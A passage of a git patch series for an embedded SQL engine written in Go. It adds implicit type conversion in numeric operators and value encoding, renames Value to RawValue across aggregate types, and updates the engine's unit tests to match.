100644 --- a/embedded/sql/num_operator.go +++ b/embedded/sql/num_operator.go @@ -19,12 +19,7 @@ package sql import "fmt" func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - - if _, lf := vl.Value().(float64); lf { - return applyNumOperatorFloat64(op, vl, vr) - } - - if _, rf := vr.Value().(float64); rf { + if vl.Type() == Float64Type || vr.Type() == Float64Type { return applyNumOperatorFloat64(op, vl, vr) } @@ -32,7 +27,6 @@ func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { } func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - nl, isNumber := vl.Value().(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) @@ -70,7 +64,6 @@ func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, err } func applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - nl, isNumber := applyImplicitConversion(vl, Float64Type).(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 5eae76e2ae..2d6a572705 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -72,6 +72,10 @@ const ( AnyType SQLValueType = "ANY" ) +func IsNumericType(t SQLValueType) bool { + return t == IntegerType || t == Float64Type +} + type AggregateFn = string const ( From a5081adbac9b80ff906110bc9ca25c63e45cf3c5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 13 Mar 2023 15:36:41 -0300 Subject: [PATCH 0340/1062] fix(embedded/sql): implicit conversion within expressions Signed-off-by: Jeronimo Irazabal --- embedded/sql/aggregated_values.go | 20 +- embedded/sql/catalog.go | 268 ++++---- embedded/sql/engine_test.go | 636 +++++++++--------- embedded/sql/implicit_conversion.go | 6 +- embedded/sql/implicit_conversion_test.go | 2 +- embedded/sql/num_operator.go | 8 +- embedded/sql/num_operator_test.go | 2 +- embedded/sql/parser_test.go | 1 - embedded/sql/row_reader.go | 6 +- embedded/sql/stmt.go | 95 +-- .../tools/stress_tool_sql/stress_tool_sql.go | 4 +- pkg/client/sql.go | 14 +- pkg/database/sql.go | 14 +- 13 files changed, 545 insertions(+), 531 deletions(-) diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index b39da08785..c56687cb00 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -44,7 +44,7 @@ func (v *CountValue) IsNull() bool { return false } -func (v *CountValue) Value() interface{} { +func (v *CountValue) RawValue() interface{} { return v.c } @@ -53,7 +53,7 @@ func (v *CountValue) Compare(val TypedValue) (int, error) { return 0, ErrNotComparableValues } - nv := val.Value().(int64) + nv := val.RawValue().(int64) if v.c == nv { return 0, nil @@ -129,8 +129,8 @@ func (v *SumValue) IsNull() bool { return v.val.IsNull() } -func (v *SumValue) Value() interface{} { - return v.val.Value() +func (v *SumValue) RawValue() interface{} { + return v.val.RawValue() } func (v *SumValue) Compare(val TypedValue) (int, error) { @@ -221,8 +221,8 @@ func (v *MinValue) IsNull() bool { return v.val.IsNull() } -func (v *MinValue) Value() interface{} { - return v.val.Value() +func (v *MinValue) RawValue() interface{} { + return v.val.RawValue() } func (v *MinValue) Compare(val TypedValue) (int, error) { @@ -320,8 +320,8 @@ func (v *MaxValue) IsNull() bool { return v.val.IsNull() } -func (v *MaxValue) Value() interface{} { - return v.val.Value() +func (v *MaxValue) RawValue() interface{} { + return v.val.RawValue() } func (v *MaxValue) Compare(val TypedValue) (int, error) { @@ -433,8 +433,8 @@ func (v *AVGValue) calculate() TypedValue { return val } -func (v *AVGValue) Value() interface{} { - return v.calculate().Value() +func (v *AVGValue) RawValue() interface{} { + return v.calculate().RawValue() } func (v *AVGValue) Compare(val TypedValue) (int, error) { diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 3eaaab37e5..689e78fa25 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -992,134 +992,18 @@ func EncodeID(id uint32) []byte { return encID[:] } -// EncodeValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. -func EncodeValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { - switch colType { - case VarcharType: - { - strVal, ok := val.(string) - if !ok { - return nil, fmt.Errorf( - "value is not a string: %w", ErrInvalidValue, - ) - } - - if maxLen > 0 && len(strVal) > maxLen { - return nil, ErrMaxLengthExceeded - } - - // len(v) + v - encv := make([]byte, EncLenLen+len(strVal)) - binary.BigEndian.PutUint32(encv[:], uint32(len(strVal))) - copy(encv[EncLenLen:], []byte(strVal)) - - return encv, nil - } - case IntegerType: - { - intVal, ok := val.(int64) - if !ok { - return nil, fmt.Errorf( - "value is not an integer: %w", ErrInvalidValue, - ) - } - - // map to unsigned integer space - // len(v) + v - var encv [EncLenLen + 8]byte - binary.BigEndian.PutUint32(encv[:], uint32(8)) - binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(intVal)) - - return encv[:], nil - } - case BooleanType: - { - boolVal, ok := val.(bool) - if !ok { - return nil, fmt.Errorf( - "value is not a boolean: %w", ErrInvalidValue, - ) - } - - // len(v) + v - var encv [EncLenLen + 1]byte - binary.BigEndian.PutUint32(encv[:], uint32(1)) - if boolVal { - encv[EncLenLen] = 1 - } - - return encv[:], nil - } - case BLOBType: - { - var blobVal []byte - - if val != nil { - v, ok := val.([]byte) - if !ok { - return nil, fmt.Errorf( - "value is not a blob: %w", ErrInvalidValue, - ) - } - blobVal = v - } - - if maxLen > 0 && len(blobVal) > maxLen { - return nil, ErrMaxLengthExceeded - } - - // len(v) + v - encv := make([]byte, EncLenLen+len(blobVal)) - binary.BigEndian.PutUint32(encv[:], uint32(len(blobVal))) - copy(encv[EncLenLen:], blobVal) - - return encv[:], nil - } - case TimestampType: - { - timeVal, ok := val.(time.Time) - if !ok { - return nil, fmt.Errorf( - "value is not a timestamp: %w", ErrInvalidValue, - ) - } - - // len(v) + v - var encv [EncLenLen + 8]byte - binary.BigEndian.PutUint32(encv[:], uint32(8)) - binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal))) - - return encv[:], nil - } - case Float64Type: - { - floatVal, ok := val.(float64) - if !ok { - return nil, fmt.Errorf( - "value is not a float: %w", ErrInvalidValue, - ) - } - - var encv [EncLenLen + 8]byte - floatBits := math.Float64bits(floatVal) - binary.BigEndian.PutUint32(encv[:], uint32(8)) - binary.BigEndian.PutUint64(encv[EncLenLen:], floatBits) - - return encv[:], nil - } - } - - return nil, ErrInvalidValue -} - const ( KeyValPrefixNull byte = 0x20 KeyValPrefixNotNull byte = 0x80 KeyValPrefixUpperBound byte = 0xFF ) -// EncodeAsKey encodes a value in a b-tree meaningful way. -func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { +func EncodeValueAsKey(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { + return EncodeRawValueAsKey(val.RawValue(), colType, maxLen) +} + +// EncodeRawValueAsKey encodes a value in a b-tree meaningful way. +func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { if maxLen <= 0 { return nil, ErrInvalidValue } @@ -1131,10 +1015,12 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err return []byte{KeyValPrefixNull}, nil } + convertedValue := applyImplicitConversion(val, colType) + switch colType { case VarcharType: { - strVal, ok := val.(string) + strVal, ok := convertedValue.(string) if !ok { return nil, fmt.Errorf( "value is not a string: %w", ErrInvalidValue, @@ -1159,7 +1045,7 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err return nil, ErrCorruptedData } - intVal, ok := val.(int64) + intVal, ok := convertedValue.(int64) if !ok { return nil, fmt.Errorf( "value is not an integer: %w", ErrInvalidValue, @@ -1181,7 +1067,7 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err return nil, ErrCorruptedData } - boolVal, ok := val.(bool) + boolVal, ok := convertedValue.(bool) if !ok { return nil, fmt.Errorf( "value is not a boolean: %w", ErrInvalidValue, @@ -1199,7 +1085,7 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err } case BLOBType: { - blobVal, ok := val.([]byte) + blobVal, ok := convertedValue.([]byte) if !ok { return nil, fmt.Errorf( "value is not a blob: %w", ErrInvalidValue, @@ -1224,7 +1110,7 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err return nil, ErrCorruptedData } - timeVal, ok := val.(time.Time) + timeVal, ok := convertedValue.(time.Time) if !ok { return nil, fmt.Errorf( "value is not a timestamp: %w", ErrInvalidValue, @@ -1242,7 +1128,7 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err } case Float64Type: { - floatVal, ok := val.(float64) + floatVal, ok := convertedValue.(float64) if !ok { return nil, fmt.Errorf( "value is not a float: %w", ErrInvalidValue, @@ -1278,6 +1164,132 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err return nil, ErrInvalidValue } +func EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { + return EncodeRawValue(val.RawValue(), colType, maxLen) +} + +// EncodeRawValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. +func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { + convertedValue := applyImplicitConversion(val, colType) + + switch colType { + case VarcharType: + { + strVal, ok := convertedValue.(string) + if !ok { + return nil, fmt.Errorf( + "value is not a string: %w", ErrInvalidValue, + ) + } + + if maxLen > 0 && len(strVal) > maxLen { + return nil, ErrMaxLengthExceeded + } + + // len(v) + v + encv := make([]byte, EncLenLen+len(strVal)) + binary.BigEndian.PutUint32(encv[:], uint32(len(strVal))) + copy(encv[EncLenLen:], []byte(strVal)) + + return encv, nil + } + case IntegerType: + { + intVal, ok := convertedValue.(int64) + if !ok { + return nil, fmt.Errorf( + "value is not an integer: %w", ErrInvalidValue, + ) + } + + // map to unsigned integer space + // len(v) + v + var encv [EncLenLen + 8]byte + binary.BigEndian.PutUint32(encv[:], uint32(8)) + binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(intVal)) + + return encv[:], nil + } + case BooleanType: + { + boolVal, ok := convertedValue.(bool) + if !ok { + return nil, fmt.Errorf( + "value is not a boolean: %w", ErrInvalidValue, + ) + } + + // len(v) + v + var encv [EncLenLen + 1]byte + binary.BigEndian.PutUint32(encv[:], uint32(1)) + if boolVal { + encv[EncLenLen] = 1 + } + + return encv[:], nil + } + case BLOBType: + { + var blobVal []byte + + if val != nil { + v, ok := convertedValue.([]byte) + if !ok { + return nil, fmt.Errorf( + "value is not a blob: %w", ErrInvalidValue, + ) + } + blobVal = v + } + + if maxLen > 0 && len(blobVal) > maxLen { + return nil, ErrMaxLengthExceeded + } + + // len(v) + v + encv := make([]byte, EncLenLen+len(blobVal)) + binary.BigEndian.PutUint32(encv[:], uint32(len(blobVal))) + copy(encv[EncLenLen:], blobVal) + + return encv[:], nil + } + case TimestampType: + { + timeVal, ok := convertedValue.(time.Time) + if !ok { + return nil, fmt.Errorf( + "value is not a timestamp: %w", ErrInvalidValue, + ) + } + + // len(v) + v + var encv [EncLenLen + 8]byte + binary.BigEndian.PutUint32(encv[:], uint32(8)) + binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal))) + + return encv[:], nil + } + case Float64Type: + { + floatVal, ok := convertedValue.(float64) + if !ok { + return nil, fmt.Errorf( + "value is not a float: %w", ErrInvalidValue, + ) + } + + var encv [EncLenLen + 8]byte + floatBits := math.Float64bits(floatVal) + binary.BigEndian.PutUint32(encv[:], uint32(8)) + binary.BigEndian.PutUint64(encv[EncLenLen:], floatBits) + + return encv[:], nil + } + } + + return nil, ErrInvalidValue +} + func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { if len(b) < EncLenLen { return nil, 0, ErrCorruptedData diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index c5d0f419d8..0c280f8802 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -190,8 +190,8 @@ func TestTimestampType(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) - require.False(t, tsBefore.After(row.ValuesBySelector[sel].Value().(time.Time))) - require.False(t, tsAfter.Before(row.ValuesBySelector[sel].Value().(time.Time))) + require.False(t, tsBefore.After(row.ValuesBySelector[sel].RawValue().(time.Time))) + require.False(t, tsAfter.Before(row.ValuesBySelector[sel].RawValue().(time.Time))) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) @@ -212,7 +212,7 @@ func TestTimestampType(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) - require.Equal(t, time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), row.ValuesBySelector[sel].Value()) + require.Equal(t, time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), row.ValuesBySelector[sel].RawValue()) }) t.Run("must correctly validate timestamp equality", func(t *testing.T) { @@ -232,7 +232,7 @@ func TestTimestampType(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) - require.Equal(t, time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), row.ValuesBySelector[sel].Value()) + require.Equal(t, time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), row.ValuesBySelector[sel].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -275,7 +275,7 @@ func TestTimestampIndex(t *testing.T) { for i := 100; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "timestamp_index", "id")].Value()) + require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "timestamp_index", "id")].RawValue()) } _, err = r.Read(context.Background()) @@ -311,7 +311,7 @@ func TestTimestampCasts(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) - require.Equal(t, d.t, row.ValuesBySelector[sel].Value()) + require.Equal(t, d.t, row.ValuesBySelector[sel].RawValue()) }) } @@ -328,7 +328,7 @@ func TestTimestampCasts(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) - require.Equal(t, time.Unix(123456, 0).UTC(), row.ValuesBySelector[sel].Value()) + require.Equal(t, time.Unix(123456, 0).UTC(), row.ValuesBySelector[sel].RawValue()) }) t.Run("test casting from null values", func(t *testing.T) { @@ -357,18 +357,14 @@ func TestTimestampCasts(t *testing.T) { t.Run("test casting invalid string", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST('not a datetime' AS TIMESTAMP))", nil) - require.ErrorIs(t, err, ErrIllegalArguments) - require.Contains(t, err.Error(), "can not cast") + require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(@ts AS TIMESTAMP))", map[string]interface{}{ "ts": strings.Repeat("long string ", 1000), }) - require.ErrorIs(t, err, ErrIllegalArguments) - require.Less(t, len(err.Error()), 100) - require.Contains(t, err.Error(), "can not cast") - require.Contains(t, err.Error(), "...") + require.ErrorIs(t, err, ErrUnsupportedCast) }) t.Run("test casting unsupported type", func(t *testing.T) { @@ -430,7 +426,7 @@ func TestFloatType(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) - require.Equal(t, d.valFloat, row.ValuesByPosition[0].Value()) + require.Equal(t, d.valFloat, row.ValuesByPosition[0].RawValue()) }) } @@ -463,7 +459,7 @@ func TestFloatType(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) - require.Equal(t, -0.4, row.ValuesByPosition[0].Value()) + require.Equal(t, -0.4, row.ValuesByPosition[0].RawValue()) }) t.Run("must correctly validate float equality", func(t *testing.T) { @@ -489,7 +485,7 @@ func TestFloatType(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) - require.Equal(t, 0.78, row.ValuesByPosition[0].Value()) + require.Equal(t, 0.78, row.ValuesByPosition[0].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -552,7 +548,7 @@ func TestFloatType(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesByPosition, 1) - require.EqualValues(t, 0.0, row.ValuesByPosition[0].Value()) + require.EqualValues(t, 0.0, row.ValuesByPosition[0].RawValue()) }) } @@ -581,7 +577,7 @@ func TestFloatType(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesByPosition, 1) - require.EqualValues(t, d.result, row.ValuesByPosition[0].Value()) + require.EqualValues(t, d.result, row.ValuesByPosition[0].RawValue()) }) } }) @@ -637,9 +633,9 @@ func TestFloatIndex(t *testing.T) { for i := 100; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "id")].Value()) + require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "id")].RawValue()) - currf := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].Value().(float64) + currf := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].RawValue().(float64) require.Less(t, prevf, currf) prevf = currf } @@ -708,7 +704,7 @@ func TestFloatIndexOnNegatives(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - val := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].Value() + val := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].RawValue() if i == 0 { require.True(t, math.IsNaN(val.(float64))) continue @@ -773,7 +769,7 @@ func TestFloatCasts(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) - require.Equal(t, d.f, row.ValuesByPosition[0].Value()) + require.Equal(t, d.f, row.ValuesByPosition[0].RawValue()) }) } @@ -797,7 +793,7 @@ func TestFloatCasts(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) - require.Equal(t, float64(123456), row.ValuesByPosition[0].Value()) + require.Equal(t, float64(123456), row.ValuesByPosition[0].RawValue()) }) t.Run("test casting from null values", func(t *testing.T) { @@ -837,8 +833,7 @@ func TestFloatCasts(t *testing.T) { nil, "INSERT INTO float_table(ft) VALUES(CAST('not a float' AS FLOAT))", nil) - require.ErrorIs(t, err, ErrIllegalArguments) - require.Contains(t, err.Error(), "can not cast") + require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec( context.Background(), @@ -847,8 +842,7 @@ func TestFloatCasts(t *testing.T) { map[string]interface{}{ "ft": strings.Repeat("long string ", 1000), }) - require.ErrorIs(t, err, ErrIllegalArguments) - require.Contains(t, err.Error(), "can not cast") + require.ErrorIs(t, err, ErrUnsupportedCast) }) } @@ -885,7 +879,7 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { for i := 0; i < 10; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "db1", "tx_timestamp", "ts")].Value()) + require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "db1", "tx_timestamp", "ts")].RawValue()) } _, err = r.Read(context.Background()) @@ -954,9 +948,9 @@ func TestAddColumn(t *testing.T) { row, err := res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) - require.EqualValues(t, "Smith", row.ValuesByPosition[2].Value()) + require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) + require.EqualValues(t, "Smith", row.ValuesByPosition[2].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -982,9 +976,9 @@ func TestAddColumn(t *testing.T) { row, err := res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) - require.EqualValues(t, "Smith", row.ValuesByPosition[2].Value()) + require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) + require.EqualValues(t, "Smith", row.ValuesByPosition[2].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -1044,20 +1038,20 @@ func TestRenameColumn(t *testing.T) { row, err := res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) + require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 3, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "Robocop", row.ValuesByPosition[1].Value()) + require.EqualValues(t, 3, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "Robocop", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 2, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].Value()) + require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -1083,20 +1077,20 @@ func TestRenameColumn(t *testing.T) { row, err := res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) + require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 3, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "Robocop", row.ValuesByPosition[1].Value()) + require.EqualValues(t, 3, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "Robocop", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 2, row.ValuesByPosition[0].Value()) - require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].Value()) + require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -1239,8 +1233,8 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) - require.Equal(t, int64(20), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")].Value()) - require.False(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].Value().(bool)) + require.Equal(t, int64(20), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")].RawValue()) + require.False(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue().(bool)) require.Len(t, row.ValuesByPosition, 2) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")]) require.Equal(t, row.ValuesByPosition[1], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")]) @@ -1262,8 +1256,8 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) - require.Equal(t, int64(10), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")].Value()) - require.True(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].Value().(bool)) + require.Equal(t, int64(10), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")].RawValue()) + require.True(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue().(bool)) err = r.Close() require.NoError(t, err) @@ -1544,7 +1538,7 @@ func TestDelete(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) + require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")]) @@ -1556,7 +1550,7 @@ func TestDelete(t *testing.T) { row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) @@ -1661,7 +1655,7 @@ func TestUpdate(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) @@ -1671,7 +1665,7 @@ func TestUpdate(t *testing.T) { row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) + require.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) @@ -1815,154 +1809,152 @@ func TestUseSnapshot(t *testing.T) { require.NoError(t, err) } -func TestEncodeRawValue(t *testing.T) { - b, err := EncodeValue(int64(1), IntegerType, 0) +func TestEncodeValue(t *testing.T) { + b, err := EncodeValue(&Integer{val: int64(1)}, IntegerType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) - b, err = EncodeValue(true, IntegerType, 0) + b, err = EncodeValue(&Integer{val: int64(1)}, BooleanType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue(true, BooleanType, 0) - require.NoError(t, err) - require.EqualValues(t, []byte{0, 0, 0, 1, 1}, b) + b, err = EncodeValue(&Integer{val: int64(1)}, VarcharType, 0) + require.ErrorIs(t, err, ErrInvalidValue) + require.Nil(t, b) - b, err = EncodeValue(uint64(1), BooleanType, 0) + b, err = EncodeValue(&Integer{val: int64(1)}, BLOBType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue("title", VarcharType, 0) + b, err = EncodeValue(&Integer{val: int64(1)}, "invalid type", 0) + require.ErrorIs(t, err, ErrInvalidValue) + require.Nil(t, b) + + b, err = EncodeValue(&Bool{val: true}, BooleanType, 0) require.NoError(t, err) - require.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b) + require.EqualValues(t, []byte{0, 0, 0, 1, 1}, b) - b, err = EncodeValue(uint64(1), VarcharType, 0) + b, err = EncodeValue(&Bool{val: true}, IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue([]byte{}, BLOBType, 0) + b, err = EncodeValue(&Varchar{val: "title"}, VarcharType, 0) require.NoError(t, err) - require.EqualValues(t, []byte{0, 0, 0, 0}, b) + require.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b) - b, err = EncodeValue(nil, BLOBType, 0) + b, err = EncodeValue(&Blob{val: []byte{}}, BLOBType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) - b, err = EncodeValue(uint64(1), BLOBType, 0) - require.ErrorIs(t, err, ErrInvalidValue) - require.Nil(t, b) - - b, err = EncodeValue(uint64(1), "invalid type", 0) - require.ErrorIs(t, err, ErrInvalidValue) - require.Nil(t, b) + b, err = EncodeValue(&Blob{val: nil}, BLOBType, 0) + require.NoError(t, err) + require.EqualValues(t, []byte{0, 0, 0, 0}, b) // Max allowed key size is 32 bytes - b, err = EncodeValue("012345678901234567890123456789012", VarcharType, 32) + b, err = EncodeValue(&Varchar{val: "012345678901234567890123456789012"}, VarcharType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) - _, err = EncodeValue("01234567890123456789012345678902", VarcharType, 0) + _, err = EncodeValue(&Varchar{val: "01234567890123456789012345678902"}, VarcharType, 0) require.NoError(t, err) - _, err = EncodeValue("012345678901234567890123456789012", VarcharType, 0) + _, err = EncodeValue(&Varchar{val: "012345678901234567890123456789012"}, VarcharType, 0) require.NoError(t, err) - b, err = EncodeValue([]byte{ + b, err = EncodeValue(&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 